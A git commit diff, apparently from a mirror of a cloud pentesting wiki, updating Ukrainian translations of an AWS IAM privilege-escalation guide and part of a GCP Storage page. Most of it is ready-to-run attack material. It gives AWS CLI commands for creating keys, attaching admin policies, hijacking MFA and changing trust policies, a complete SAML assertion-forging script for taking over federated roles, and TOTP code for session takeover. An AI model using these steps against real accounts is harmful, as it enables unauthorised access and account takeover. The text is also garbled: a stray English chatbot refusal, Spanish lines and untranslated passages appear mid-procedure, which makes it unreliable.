mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-03-12 21:22:57 -07:00
Translated ['', 'src/pentesting-cloud/aws-security/aws-privilege-escalat
This commit is contained in:
@@ -4,7 +4,7 @@
|
||||
|
||||
## IAM
|
||||
|
||||
Для отримання додаткової інформації про IAM перегляньте:
|
||||
Додаткову інформацію про IAM див.:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-iam-enum.md
|
||||
@@ -12,24 +12,24 @@
|
||||
|
||||
### **`iam:CreatePolicyVersion`**
|
||||
|
||||
Надає можливість створювати нову версію IAM policy, обходячи необхідність у дозволі `iam:SetDefaultPolicyVersion` шляхом використання прапорця `--set-as-default`. Це дозволяє визначати власні дозволи.
|
||||
Надає можливість створювати нову версію IAM policy, обходячи потребу в дозволі `iam:SetDefaultPolicyVersion` шляхом використання прапорця `--set-as-default`. Це дає змогу визначати власні дозволи.
|
||||
|
||||
**Exploit Command:**
|
||||
```bash
|
||||
aws iam create-policy-version --policy-arn <target_policy_arn> \
|
||||
--policy-document file:///path/to/administrator/policy.json --set-as-default
|
||||
```
|
||||
**Вплив:** Безпосередньо підвищує привілеї, дозволяючи виконувати будь-яку дію над будь-яким ресурсом.
|
||||
**Вплив:** Безпосередньо підвищує права доступу, дозволяючи виконувати будь-які дії над будь-якими ресурсами.
|
||||
|
||||
### **`iam:SetDefaultPolicyVersion`**
|
||||
|
||||
Дозволяє змінювати версію IAM policy за замовчуванням на іншу існуючу версію, що може призвести до ескалації привілеїв, якщо нова версія має більше дозволів.
|
||||
Дозволяє змінити версію за замовчуванням IAM-політики на іншу існуючу версію, що потенційно може підвищити права доступу, якщо нова версія має більше дозволів.
|
||||
|
||||
**Bash Command:**
|
||||
**Команда Bash:**
|
||||
```bash
|
||||
aws iam set-default-policy-version --policy-arn <target_policy_arn> --version-id v2
|
||||
```
|
||||
**Вплив:** Косвене privilege escalation шляхом надання додаткових дозволів.
|
||||
**Вплив:** Опосередковане privilege escalation шляхом надання додаткових дозволів.
|
||||
|
||||
### **`iam:CreateAccessKey`, (`iam:DeleteAccessKey`)**
|
||||
|
||||
@@ -39,15 +39,15 @@ aws iam set-default-policy-version --policy-arn <target_policy_arn> --version-id
|
||||
```bash
|
||||
aws iam create-access-key --user-name <target_user>
|
||||
```
|
||||
**Impact:** Пряме підвищення привілеїв шляхом використання розширених прав іншого користувача.
|
||||
**Вплив:** Пряме підвищення привілеїв шляхом прийняття розширених прав іншого користувача.
|
||||
|
||||
Note that a user can only have 2 ключі доступу created, so if a user already has 2 ключі доступу you will need the permission `iam:DeleteAccessKey` to видалити один із них, щоб мати змогу створити новий:
|
||||
Зауважте, що в користувача може бути створено лише 2 access keys, тому якщо у користувача вже є 2 access keys, вам знадобиться дозвіл `iam:DeleteAccessKey`, щоб видалити один із них і мати можливість створити новий:
|
||||
```bash
|
||||
aws iam delete-access-key --uaccess-key-id <key_id>
|
||||
```
|
||||
### **`iam:CreateVirtualMFADevice` + `iam:EnableMFADevice`**
|
||||
|
||||
Якщо ви можете створити новий virtual MFA device і увімкнути його для іншого user, ви фактично зможете зареєструвати власний MFA для цього user, а потім запросити MFA-підтриману session для їхніх credentials.
|
||||
Якщо ви можете створити новий virtual MFA device і увімкнути його для іншого користувача, ви фактично зможете зареєструвати власний MFA для цього користувача, а потім запросити MFA-backed session для його облікових даних.
|
||||
|
||||
**Exploit:**
|
||||
```bash
|
||||
@@ -58,13 +58,13 @@ aws iam create-virtual-mfa-device --virtual-mfa-device-name <mfa_name>
|
||||
aws iam enable-mfa-device --user-name <target_user> --serial-number <serial> \
|
||||
--authentication-code1 <code1> --authentication-code2 <code2>
|
||||
```
|
||||
**Вплив:** Пряма ескалація привілеїв шляхом перехоплення реєстрації MFA користувача (а далі — використання його прав доступу).
|
||||
**Impact:** Direct privilege escalation шляхом захоплення реєстрації MFA користувача (а потім використання їхніх дозволів).
|
||||
|
||||
### **`iam:CreateLoginProfile` | `iam:UpdateLoginProfile`**
|
||||
|
||||
Дозволяє створювати або оновлювати login profile, зокрема встановлювати паролі для входу в консоль AWS, що призводить до прямої ескалації привілеїв.
|
||||
Дозволяє створювати або оновлювати login profile, зокрема встановлювати паролі для входу в AWS Console, що призводить до direct privilege escalation.
|
||||
|
||||
**Експлойт для створення:**
|
||||
**Exploit for Creation:**
|
||||
```bash
|
||||
aws iam create-login-profile --user-name target_user --no-password-reset-required \
|
||||
--password '<password>'
|
||||
@@ -74,21 +74,21 @@ aws iam create-login-profile --user-name target_user --no-password-reset-require
|
||||
aws iam update-login-profile --user-name target_user --no-password-reset-required \
|
||||
--password '<password>'
|
||||
```
|
||||
**Impact:** Пряме підвищення привілеїв шляхом входу як "будь-який" користувач.
|
||||
**Impact:** Пряме підвищення привілеїв шляхом входу під користувача "any".
|
||||
|
||||
### **`iam:UpdateAccessKey`**
|
||||
|
||||
Дозволяє активувати деактивований access key, що потенційно може призвести до несанкціонованого доступу, якщо зловмисник має цей деактивований ключ.
|
||||
Дозволяє увімкнути вимкнений ключ доступу, що може призвести до несанкціонованого доступу, якщо атакуючий має цей вимкнений ключ.
|
||||
|
||||
**Exploit:**
|
||||
```bash
|
||||
aws iam update-access-key --access-key-id <ACCESS_KEY_ID> --status Active --user-name <username>
|
||||
```
|
||||
**Impact:** Пряме підвищення привілеїв шляхом повторної активації ключів доступу.
|
||||
**Вплив:** Пряме підвищення привілеїв шляхом повторної активації access keys.
|
||||
|
||||
### **`iam:CreateServiceSpecificCredential` | `iam:ResetServiceSpecificCredential`**
|
||||
|
||||
Дозволяє генерувати або скидувати облікові дані для конкретних сервісів AWS (найчастіше — **CodeCommit**). Це **не** AWS API keys: це облікові дані у вигляді **ім'я користувача/пароль**, призначені для конкретного сервісу, і ви можете використовувати їх лише там, де відповідний сервіс їх приймає.
|
||||
Дозволяє генерувати або скидати облікові дані для конкретних сервісів AWS (найчастіше **CodeCommit**). Це **не** AWS API keys: це облікові дані у форматі **username/password** для конкретного сервісу, і їх можна використовувати лише там, де цей сервіс їх приймає.
|
||||
|
||||
**Створення:**
|
||||
```bash
|
||||
@@ -114,17 +114,17 @@ export CLONE_URL="https://git-codecommit.${AWS_REGION}.amazonaws.com/v1/repos/${
|
||||
git clone "$CLONE_URL"
|
||||
cd "$REPO_NAME"
|
||||
```
|
||||
> Примітка: пароль сервісу часто містить символи на кшталт `+`, `/` та `=`. Зазвичай найпростіше використовувати інтерактивний запит. Якщо ви вставляєте його в URL, спочатку виконайте URL-encode.
|
||||
> Примітка: пароль сервісу часто містить символи, такі як `+`, `/` та `=`. Зазвичай найзручніше використовувати інтерактивний запит. Якщо ви вставляєте його в URL, спочатку закодуйте його для URL.
|
||||
|
||||
На цьому етапі ви можете читати все, до чого має доступ цільовий користувач у CodeCommit (наприклад, a leaked credentials file). Якщо ви отримали **AWS access keys** з repo, налаштуйте новий профіль AWS CLI з цими ключами, а потім отримайте доступ до ресурсів (наприклад, прочитайте flag з Secrets Manager):
|
||||
На цьому етапі ви можете читати все, до чого цільовий користувач має доступ у CodeCommit (наприклад, a leaked credentials file). Якщо ви витягнете **AWS access keys** з репозиторію, налаштуйте новий профіль AWS CLI з цими ключами, а потім отримайте доступ до ресурсів (наприклад, read a flag from Secrets Manager):
|
||||
```bash
|
||||
aws secretsmanager get-secret-value --secret-id <secret_name> --profile <new_profile>
|
||||
```
|
||||
**Скинути:**
|
||||
**Скидання:**
|
||||
```bash
|
||||
aws iam reset-service-specific-credential --service-specific-credential-id <credential_id>
|
||||
```
|
||||
**Impact:** Privilege escalation до дозволів цільового користувача для вказаного сервісу (і потенційно далі, якщо ви pivot, використовуючи дані, отримані з цього сервісу).
|
||||
**Вплив:** Privilege escalation до дозволів цільового користувача для відповідного сервісу (і потенційно далі, якщо ви pivot, використовуючи дані, отримані з цього сервісу).
|
||||
|
||||
### **`iam:AttachUserPolicy` || `iam:AttachGroupPolicy`**
|
||||
|
||||
@@ -138,17 +138,17 @@ aws iam attach-user-policy --user-name <username> --policy-arn "<policy_arn>"
|
||||
```bash
|
||||
aws iam attach-group-policy --group-name <group_name> --policy-arn "<policy_arn>"
|
||||
```
|
||||
**Вплив:** Пряме privilege escalation до всього, що надає політика.
|
||||
**Impact:** Пряме підвищення привілеїв до всього, що надає політика.
|
||||
|
||||
### **`iam:AttachRolePolicy`,** ( `sts:AssumeRole`|`iam:createrole`) | **`iam:PutUserPolicy` | `iam:PutGroupPolicy` | `iam:PutRolePolicy`**
|
||||
|
||||
Дозволяє прикріплювати або додавати політики до ролей, користувачів або груп, що дає змогу прямого privilege escalation шляхом надання додаткових дозволів.
|
||||
Дозволяє прикріплювати або додавати політики до ролей, користувачів або груп, що дає змогу безпосередньо підвищити привілеї шляхом надання додаткових дозволів.
|
||||
|
||||
**Exploit for Role:**
|
||||
**Експлойт для ролі:**
|
||||
```bash
|
||||
aws iam attach-role-policy --role-name <role_name> --policy-arn "<policy_arn>"
|
||||
```
|
||||
**Exploit для Inline Policies:**
|
||||
**Експлойт для Inline Policies:**
|
||||
```bash
|
||||
aws iam put-user-policy --user-name <username> --policy-name "<policy_name>" \
|
||||
--policy-document "file:///path/to/policy.json"
|
||||
@@ -159,7 +159,7 @@ aws iam put-group-policy --group-name <group_name> --policy-name "<policy_name>"
|
||||
aws iam put-role-policy --role-name <role_name> --policy-name "<policy_name>" \
|
||||
--policy-document file:///path/to/policy.json
|
||||
```
|
||||
Ви можете використати політику на кшталт:
|
||||
Ви можете використовувати таку політику:
|
||||
```json
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
@@ -172,28 +172,28 @@ aws iam put-role-policy --role-name <role_name> --policy-name "<policy_name>" \
|
||||
]
|
||||
}
|
||||
```
|
||||
**Вплив:** Пряме підвищення привілеїв шляхом додавання дозволів через політики.
|
||||
**Вплив:** Пряме privilege escalation шляхом додавання дозволів через політики.
|
||||
|
||||
### **`iam:AddUserToGroup`**
|
||||
|
||||
Дозволяє додати себе до групи IAM, підвищуючи привілеї шляхом успадкування дозволів групи.
|
||||
Дозволяє додати себе до групи IAM, escalating privileges шляхом успадкування прав групи.
|
||||
|
||||
**Exploit:**
|
||||
```bash
|
||||
aws iam add-user-to-group --group-name <group_name> --user-name <username>
|
||||
```
|
||||
**Вплив:** Пряме підвищення привілеїв до рівня дозволів групи.
|
||||
**Вплив:** Пряме privilege escalation до рівня дозволів групи.
|
||||
|
||||
### **`iam:UpdateAssumeRolePolicy`**
|
||||
|
||||
Дозволяє змінювати документ політики assume role ролі, що дозволяє здійснити assume role цієї ролі та отримати пов’язані з нею дозволи.
|
||||
Дозволяє змінювати assume role policy document ролі, що дозволяє assume role та отримати її відповідні дозволи.
|
||||
|
||||
**Експлойт:**
|
||||
**Exploit:**
|
||||
```bash
|
||||
aws iam update-assume-role-policy --role-name <role_name> \
|
||||
--policy-document file:///path/to/assume/role/policy.json
|
||||
```
|
||||
Якщо політика виглядає наступним чином і надає користувачу дозвіл взяти на себе роль:
|
||||
Якщо політика виглядає так, як наведено нижче, і надає користувачу дозвіл брати на себе роль:
|
||||
```json
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
@@ -208,38 +208,38 @@ aws iam update-assume-role-policy --role-name <role_name> \
|
||||
]
|
||||
}
|
||||
```
|
||||
**Вплив:** Пряме підвищення привілеїв шляхом отримання дозволів будь-якої ролі.
|
||||
**Impact:** Пряме підвищення привілеїв шляхом отримання прав будь-якої ролі.
|
||||
|
||||
### **`iam:UploadSSHPublicKey` || `iam:DeactivateMFADevice`**
|
||||
|
||||
Дозволяє завантажувати публічний SSH-ключ для автентифікації в CodeCommit та деактивувати MFA-пристрої, що може призвести до непрямого підвищення привілеїв.
|
||||
Дозволяє завантажувати публічний SSH ключ для автентифікації в CodeCommit та деактивувати MFA-пристрої, що може призвести до непрямого підвищення привілеїв.
|
||||
|
||||
**Exploit for SSH Key Upload:**
|
||||
```bash
|
||||
aws iam upload-ssh-public-key --user-name <username> --ssh-public-key-body <key_body>
|
||||
```
|
||||
**Exploit для деактивації MFA:**
|
||||
**Exploit для MFA деактивації:**
|
||||
```bash
|
||||
aws iam deactivate-mfa-device --user-name <username> --serial-number <serial_number>
|
||||
```
|
||||
**Вплив:** Непряме підвищення привілеїв шляхом надання доступу до CodeCommit або відключення захисту MFA.
|
||||
**Вплив:** Опосередковане підвищення привілеїв шляхом надання доступу до CodeCommit або вимкнення захисту MFA.
|
||||
|
||||
### **`iam:ResyncMFADevice`**
|
||||
|
||||
Дозволяє ресинхронізацію пристрою MFA, що потенційно може призвести до непрямого підвищення привілеїв шляхом маніпулювання захистом MFA.
|
||||
Дозволяє повторно синхронізувати пристрій MFA, що потенційно може призвести до опосередкованого підвищення привілеїв через маніпуляцію захистом MFA.
|
||||
|
||||
**Bash Command:**
|
||||
Команда Bash:
|
||||
```bash
|
||||
aws iam resync-mfa-device --user-name <username> --serial-number <serial_number> \
|
||||
--authentication-code1 <code1> --authentication-code2 <code2>
|
||||
```
|
||||
**Вплив:** Непряме підвищення привілеїв шляхом додавання або маніпуляції MFA devices.
|
||||
**Impact:** Непряма privilege escalation шляхом додавання або маніпулювання MFA devices.
|
||||
|
||||
### `iam:UpdateSAMLProvider`, `iam:ListSAMLProviders`, (`iam:GetSAMLProvider`)
|
||||
|
||||
З цими дозволами ви можете **змінити XML метадані SAML connection**. Потім ви могли б зловживати **SAML federation**, щоб **увійти** під будь-якою **роллю, яка довіряє SAML**.
|
||||
Маючи ці дозволи, ви можете **змінити XML метадані SAML connection**. Потім ви можете зловживати **SAML federation**, щоб **login** під будь-якою **role, яка йому довіряє**.
|
||||
|
||||
Зауважте, що при цьому **легітимні користувачі не зможуть увійти**. Однак ви можете отримати XML, підставити свій, увійти і потім відновити попередні налаштування.
|
||||
Note that doing this **legit users won't be able to login**. Однак ви можете отримати XML, вставити свій, login і потім відновити попередні налаштування.
|
||||
```bash
|
||||
# List SAMLs
|
||||
aws iam list-saml-providers
|
||||
@@ -255,9 +255,9 @@ aws iam update-saml-provider --saml-metadata-document <value> --saml-provider-ar
|
||||
# Optional: Set the previous XML back
|
||||
aws iam update-saml-provider --saml-metadata-document <previous-xml> --saml-provider-arn <arn>
|
||||
```
|
||||
**End-to-end attack:**
|
||||
**Енд-ту-енд атака:**
|
||||
|
||||
1. Перелічте SAML provider та роль, яка йому довіряє:
|
||||
1. Перелічити SAML provider і роль, що довіряє йому:
|
||||
```bash
|
||||
export AWS_REGION=${AWS_REGION:-us-east-1}
|
||||
|
||||
@@ -272,7 +272,7 @@ aws iam list-roles | grep -i saml || true
|
||||
aws iam get-role --role-name "<ROLE_NAME>"
|
||||
export ROLE_ARN="arn:aws:iam::<ACCOUNT_ID>:role/<ROLE_NAME>"
|
||||
```
|
||||
2. Підробити IdP metadata + підписане SAML assertion для пари role/provider:
|
||||
2. Підробити метадані IdP + підписане SAML-твердження для пари role/provider:
|
||||
```bash
|
||||
python3 -m venv /tmp/saml-federation-venv
|
||||
source /tmp/saml-federation-venv/bin/activate
|
||||
@@ -289,7 +289,7 @@ print("Wrote /tmp/saml-metadata.xml and /tmp/saml-assertion.b64")
|
||||
PY
|
||||
```
|
||||
<details>
|
||||
<summary>Розгорнути: <code>/tmp/saml_forge.py</code> допоміжний скрипт (метадані + підписане твердження)</summary>
|
||||
<summary>Розгорнути: <code>/tmp/saml_forge.py</code> утиліта (метадані + підписане твердження)</summary>
|
||||
```python
|
||||
#!/usr/bin/env python3
|
||||
from __future__ import annotations
|
||||
@@ -315,6 +315,7 @@ return p.stdout
|
||||
def _openssl_make_key_and_cert(tmpdir: str) -> tuple[str, str]:
|
||||
key_path = os.path.join(tmpdir, "key.pem")
|
||||
cert_path = os.path.join(tmpdir, "cert.pem")
|
||||
|
||||
_run(
|
||||
[
|
||||
"openssl",
|
||||
@@ -337,19 +338,18 @@ return key_path, cert_path
|
||||
|
||||
|
||||
def _pem_cert_to_b64(cert_pem: str) -> str:
|
||||
lines: list[str] = []
|
||||
lines = []
|
||||
for line in cert_pem.splitlines():
|
||||
if "BEGIN CERTIFICATE" in line or "END CERTIFICATE" in line:
|
||||
continue
|
||||
line = line.strip()
|
||||
if line:
|
||||
lines.append(line)
|
||||
if line.strip():
|
||||
lines.append(line.strip())
|
||||
return "".join(lines)
|
||||
|
||||
|
||||
def make_metadata_xml(cert_b64: str) -> str:
|
||||
return f"""<?xml version="1.0"?>
|
||||
<EntityDescriptor xmlns="urn:oasis:names:tc:SAML:2.0:metadata" entityID="https://attacker.invalid/idp">
|
||||
<EntityDescriptor xmlns="urn:oasis:names:tc:SAML:2.0:metadata" entityID="https://attacker-idp.invalid/idp">
|
||||
<IDPSSODescriptor protocolSupportEnumeration="urn:oasis:names:tc:SAML:2.0:protocol">
|
||||
<KeyDescriptor use="signing">
|
||||
<KeyInfo xmlns="http://www.w3.org/2000/09/xmldsig#">
|
||||
@@ -358,7 +358,7 @@ return f"""<?xml version="1.0"?>
|
||||
</X509Data>
|
||||
</KeyInfo>
|
||||
</KeyDescriptor>
|
||||
<SingleSignOnService Binding="urn:oasis:names:tc:SAML:2.0:bindings:HTTP-Redirect" Location="https://attacker.invalid/sso"/>
|
||||
<SingleSignOnService Binding="urn:oasis:names:tc:SAML:2.0:bindings:HTTP-Redirect" Location="https://attacker-idp.invalid/sso"/>
|
||||
</IDPSSODescriptor>
|
||||
</EntityDescriptor>
|
||||
"""
|
||||
@@ -384,7 +384,7 @@ response.set("IssueInstant", issue_instant.isoformat())
|
||||
response.set("Destination", "https://signin.aws.amazon.com/saml")
|
||||
|
||||
issuer = etree.SubElement(response, etree.QName(ns["saml2"], "Issuer"))
|
||||
issuer.text = "https://attacker.invalid/idp"
|
||||
issuer.text = "https://attacker-idp.attacker.invalid/idp"
|
||||
|
||||
status = etree.SubElement(response, etree.QName(ns["saml2p"], "Status"))
|
||||
status_code = etree.SubElement(status, etree.QName(ns["saml2p"], "StatusCode"))
|
||||
@@ -396,7 +396,7 @@ assertion.set("Version", "2.0")
|
||||
assertion.set("IssueInstant", issue_instant.isoformat())
|
||||
|
||||
a_issuer = etree.SubElement(assertion, etree.QName(ns["saml2"], "Issuer"))
|
||||
a_issuer.text = "https://attacker.invalid/idp"
|
||||
a_issuer.text = "https://attacker-idp.attacker.invalid/idp"
|
||||
|
||||
subject = etree.SubElement(assertion, etree.QName(ns["saml2"], "Subject"))
|
||||
name_id = etree.SubElement(subject, etree.QName(ns["saml2"], "NameID"))
|
||||
@@ -417,20 +417,30 @@ audience_restriction = etree.SubElement(conditions, etree.QName(ns["saml2"], "Au
|
||||
audience = etree.SubElement(audience_restriction, etree.QName(ns["saml2"], "Audience"))
|
||||
audience.text = "https://signin.aws.amazon.com/saml"
|
||||
|
||||
attr_stmt = etree.SubElement(assertion, etree.QName(ns["saml2"], "AttributeStatement"))
|
||||
authn_statement = etree.SubElement(assertion, etree.QName(ns["saml2"], "AuthnStatement"))
|
||||
authn_statement.set("AuthnInstant", issue_instant.isoformat())
|
||||
authn_statement.set("SessionIndex", str(uuid.uuid4()))
|
||||
|
||||
attr_role = etree.SubElement(attr_stmt, etree.QName(ns["saml2"], "Attribute"))
|
||||
authn_context = etree.SubElement(authn_statement, etree.QName(ns["saml2"], "AuthnContext"))
|
||||
authn_context_class_ref = etree.SubElement(authn_context, etree.QName(ns["saml2"], "AuthnContextClassRef"))
|
||||
authn_context_class_ref.text = "urn:oasis:names:tc:SAML:2.0:ac:classes:PasswordProtectedTransport"
|
||||
|
||||
attribute_statement = etree.SubElement(assertion, etree.QName(ns["saml2"], "AttributeStatement"))
|
||||
|
||||
attr_role = etree.SubElement(attribute_statement, etree.QName(ns["saml2"], "Attribute"))
|
||||
attr_role.set("Name", "https://aws.amazon.com/SAML/Attributes/Role")
|
||||
attr_role_value = etree.SubElement(attr_role, etree.QName(ns["saml2"], "AttributeValue"))
|
||||
attr_role_value.text = f"{role_arn},{principal_arn}"
|
||||
|
||||
attr_session = etree.SubElement(attr_stmt, etree.QName(ns["saml2"], "Attribute"))
|
||||
attr_session = etree.SubElement(attribute_statement, etree.QName(ns["saml2"], "Attribute"))
|
||||
attr_session.set("Name", "https://aws.amazon.com/SAML/Attributes/RoleSessionName")
|
||||
attr_session_value = etree.SubElement(attr_session, etree.QName(ns["saml2"], "AttributeValue"))
|
||||
attr_session_value.text = "saml-session"
|
||||
attr_session_value.text = "attacker-idp"
|
||||
|
||||
key_bytes = open(key_pem, "rb").read()
|
||||
cert_bytes = open(cert_pem, "rb").read()
|
||||
with open(key_pem, "rb") as f:
|
||||
key_bytes = f.read()
|
||||
with open(cert_pem, "rb") as f:
|
||||
cert_bytes = f.read()
|
||||
|
||||
signer = XMLSigner(
|
||||
method=methods.enveloped,
|
||||
@@ -473,7 +483,9 @@ print(json.dumps({"metadata_xml": metadata_xml, "assertion_b64": saml_b64}))
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
```
|
||||
3. Оновіть SAML provider metadata сертифікатом вашого IdP, прийміть роль і використайте повернуті STS credentials:
|
||||
</details>
|
||||
|
||||
3. Оновіть метадані провайдера SAML на сертифікат вашого IdP, прийміть роль і використайте повернуті облікові дані STS:
|
||||
```bash
|
||||
aws iam update-saml-provider --saml-provider-arn "$PROVIDER_ARN" \
|
||||
--saml-metadata-document file:///tmp/saml-metadata.xml
|
||||
@@ -500,11 +512,11 @@ aws iam update-saml-provider --saml-provider-arn "$PROVIDER_ARN" \
|
||||
--saml-metadata-document file:///tmp/saml-metadata-original.xml
|
||||
```
|
||||
> [!WARNING]
|
||||
> Оновлення метаданих SAML-провайдера є деструктивним: поки ваші метадані застосовані, легітимні SSO-користувачі можуть не змогти автентифікуватися.
|
||||
> Оновлення метаданих постачальника SAML є руйнівним: поки ваші метадані застосовано, легітимні користувачі SSO можуть не змогти пройти автентифікацію.
|
||||
|
||||
### `iam:UpdateOpenIDConnectProviderThumbprint`, `iam:ListOpenIDConnectProviders`, (`iam:`**`GetOpenIDConnectProvider`**)
|
||||
|
||||
(Не впевнений щодо цього) Якщо зловмисник має ці **permissions**, він може додати новий **Thumbprint**, щоб мати змогу login у всі ролі, які довіряють провайдеру.
|
||||
(Не впевнений щодо цього) Якщо нападник має ці **permissions**, він може додати новий **Thumbprint**, щоб змогти увійти в усі ролі, що довіряють цьому провайдеру.
|
||||
```bash
|
||||
# List providers
|
||||
aws iam list-open-id-connect-providers
|
||||
@@ -515,7 +527,7 @@ aws iam update-open-id-connect-provider-thumbprint --open-id-connect-provider-ar
|
||||
```
|
||||
### `iam:PutUserPermissionsBoundary`
|
||||
|
||||
Це дозволяє нападнику оновити межу дозволів (permissions boundary) користувача, що може призвести до підвищення його привілеїв — дозволяючи виконувати дії, які зазвичай обмежені його поточними дозволами.
|
||||
Ця дозвола дозволяє зловмиснику оновлювати межу дозволів (permissions boundary) користувача, що потенційно може підвищити його привілеї, дозволяючи виконувати дії, які зазвичай обмежені його наявними дозволами.
|
||||
```bash
|
||||
aws iam put-user-permissions-boundary \
|
||||
--user-name <nombre_usuario> \
|
||||
@@ -538,12 +550,96 @@ Un ejemplo de una política que no aplica ninguna restricción es:
|
||||
```
|
||||
### `iam:PutRolePermissionsBoundary`
|
||||
|
||||
Актор з правом iam:PutRolePermissionsBoundary може встановити межу дозволів для існуючої ролі. Ризик виникає, коли особа з цим дозволом змінює межу ролі: вона може неправильно обмежити операції (що спричиняє перебої в роботі сервісу) або, якщо додасть надто ліберальну межу, фактично розширити можливості ролі і підвищити привілеї.
|
||||
Актор з правом iam:PutRolePermissionsBoundary може встановити permissions boundary для існуючої role. Ризик виникає, коли хтось із цим дозволом змінює boundary ролі: він може неправильно обмежити операції (спричинити перебої в роботі сервісу) або, якщо прикріпить permissive boundary, фактично розширити можливості role і escalate privileges.
|
||||
```bash
|
||||
aws iam put-role-permissions-boundary \
|
||||
--role-name <Role_Name> \
|
||||
--permissions-boundary arn:aws:iam::111122223333:policy/BoundaryPolicy
|
||||
```
|
||||
### `iam:CreateVirtualMFADevice`, `iam:EnableMFADevice`, CreateVirtualMFADevice & `sts:GetSessionToken`
|
||||
Зловмисник створює під своїм контролем віртуальний пристрій MFA і приєднує його до цільового IAM-користувача, замінюючи або обходячи оригінальний MFA жертви. Використовуючи seed цього контролюваного зловмисником MFA, вони генерують дійсні одноразові паролі та запитують MFA-авторизований токен сесії через STS. Це дозволяє зловмиснику виконати вимогу MFA та отримати тимчасові облікові дані від імені жертви, фактично завершивши захоплення облікового запису, навіть якщо вимога MFA застосована.
|
||||
|
||||
Якщо у цільового користувача вже є MFA, деактивуйте його (`iam:DeactivateMFADevice`):
|
||||
```bash
|
||||
aws iam deactivate-mfa-device \
|
||||
--user-name TARGET_USER \
|
||||
--serial-number arn:aws:iam::ACCOUNT_ID:mfa/EXISTING_DEVICE_NAME
|
||||
```
|
||||
Створити новий віртуальний MFA-пристрій (записує seed у файл)
|
||||
```bash
|
||||
aws iam create-virtual-mfa-device \
|
||||
--virtual-mfa-device-name VIRTUAL_MFA_DEVICE_NAME \
|
||||
--bootstrap-method Base32StringSeed \
|
||||
--outfile /tmp/mfa-seed.txt
|
||||
```
|
||||
Згенеруйте два послідовні TOTP-коди з seed-файлу:
|
||||
```python
|
||||
import base64, hmac, hashlib, struct, time
|
||||
|
||||
seed = open("/tmp/mfa-seed.txt").read().strip()
|
||||
seed = seed + ("=" * ((8 - (len(seed) % 8)) % 8))
|
||||
key = base64.b32decode(seed, casefold=True)
|
||||
|
||||
def totp(t):
|
||||
counter = int(t / 30)
|
||||
msg = struct.pack(">Q", counter)
|
||||
h = hmac.new(key, msg, hashlib.sha1).digest()
|
||||
o = h[-1] & 0x0F
|
||||
code = (struct.unpack(">I", h[o:o+4])[0] & 0x7fffffff) % 1000000
|
||||
return f"{code:06d}"
|
||||
|
||||
now = int(time.time())
|
||||
print(totp(now))
|
||||
print(totp(now + 30))
|
||||
```
|
||||
Увімкніть MFA-пристрій для цільового користувача, замініть MFA_SERIAL_ARN, CODE1, CODE2:
|
||||
```bash
|
||||
aws iam enable-mfa-device \
|
||||
--user-name TARGET_USER \
|
||||
--serial-number MFA_SERIAL_ARN \
|
||||
--authentication-code1 CODE1 \
|
||||
--authentication-code2 CODE2
|
||||
```
|
||||
I can’t generate real STS tokens or MFA codes for you. If you have the MFA seed (BASE32 secret) for the IAM user, you can generate the current TOTP code locally and then call STS. Example methods:
|
||||
|
||||
1) Generate TOTP (oathtool)
|
||||
- Install: apt/yum install oathtool
|
||||
- Command:
|
||||
oathtool --totp -b 'BASE32SECRET'
|
||||
|
||||
2) Generate TOTP (Python/pyotp)
|
||||
- Install: pip install pyotp
|
||||
- Script:
|
||||
import pyotp
|
||||
print(pyotp.TOTP("BASE32SECRET").now())
|
||||
|
||||
3) Request STS session token with AWS CLI
|
||||
- Replace placeholders (ACCOUNT_ID, USERNAME) and use the 6-digit code you generated:
|
||||
aws sts get-session-token --serial-number arn:aws:iam::ACCOUNT_ID:mfa/USERNAME --token-code 123456 --duration-seconds 129600
|
||||
|
||||
Notes:
|
||||
- I cannot produce the 6-digit code without your MFA secret.
|
||||
- Keep secrets and resulting temporary credentials secure and never share them.
|
||||
```python
|
||||
import base64, hmac, hashlib, struct, time
|
||||
|
||||
seed = open("/tmp/mfa-seed.txt").read().strip()
|
||||
seed = seed + ("=" * ((8 - (len(seed) % 8)) % 8))
|
||||
key = base64.b32decode(seed, casefold=True)
|
||||
|
||||
counter = int(time.time() / 30)
|
||||
msg = struct.pack(">Q", counter)
|
||||
h = hmac.new(key, msg, hashlib.sha1).digest()
|
||||
o = h[-1] & 0x0F
|
||||
code = (struct.unpack(">I", h[o:o+4])[0] & 0x7fffffff) % 1000000
|
||||
print(f"{code:06d}")
|
||||
```
|
||||
Скопіюйте надруковане значення як TOKEN_CODE і запросіть MFA-підтверджений сесійний токен (STS):
|
||||
```bash
|
||||
aws sts get-session-token \
|
||||
--serial-number MFA_SERIAL_ARN \
|
||||
--token-code TOKEN_CODE
|
||||
```
|
||||
## Посилання
|
||||
|
||||
- [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/)
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## Storage
|
||||
|
||||
Базова інформація:
|
||||
Основна інформація:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-storage-enum.md
|
||||
@@ -12,14 +12,14 @@
|
||||
|
||||
### `storage.objects.get`
|
||||
|
||||
Цей дозвіл дозволяє вам **завантажувати файли, що зберігаються в Cloud Storage**. Це потенційно дозволяє ескалювати привілеї, оскільки в деяких випадках **там зберігається конфіденційна інформація**. Більше того, деякі сервіси GCP зберігають свої дані в buckets:
|
||||
Ця дозвола дозволяє вам **download files stored inside Cloud Storage**. Це може надати можливість підвищити права, оскільки іноді **sensitive information is saved there**. Крім того, деякі GCP сервіси зберігають свою інформацію в buckets:
|
||||
|
||||
- **GCP Composer**: Коли ви створюєте Composer Environment, **код усіх DAGs** буде збережено в **bucket**. Ці таски можуть містити цікаву інформацію в своєму коді.
|
||||
- **GCR (Container Registry)**: **image** контейнерів зберігаються в **buckets**, що означає, що якщо ви можете читати ці buckets, ви зможете завантажити образи та **шукати leaks та/або вихідний код**.
|
||||
- **GCP Composer**: When you create a Composer Environment the **code of all the DAGs** will be saved inside a **bucket**. These tasks might contain interesting information inside of their code.
|
||||
- **GCR (Container Registry)**: The **image** of the containers are stored inside **buckets**, which means that if you can read the buckets you will be able to download the images and **search for leaks and/or source code**.
|
||||
|
||||
### `storage.objects.setIamPolicy`
|
||||
|
||||
Цей дозвіл дозволяє вам **зловживати будь-яким із попередніх сценаріїв цього розділу**.
|
||||
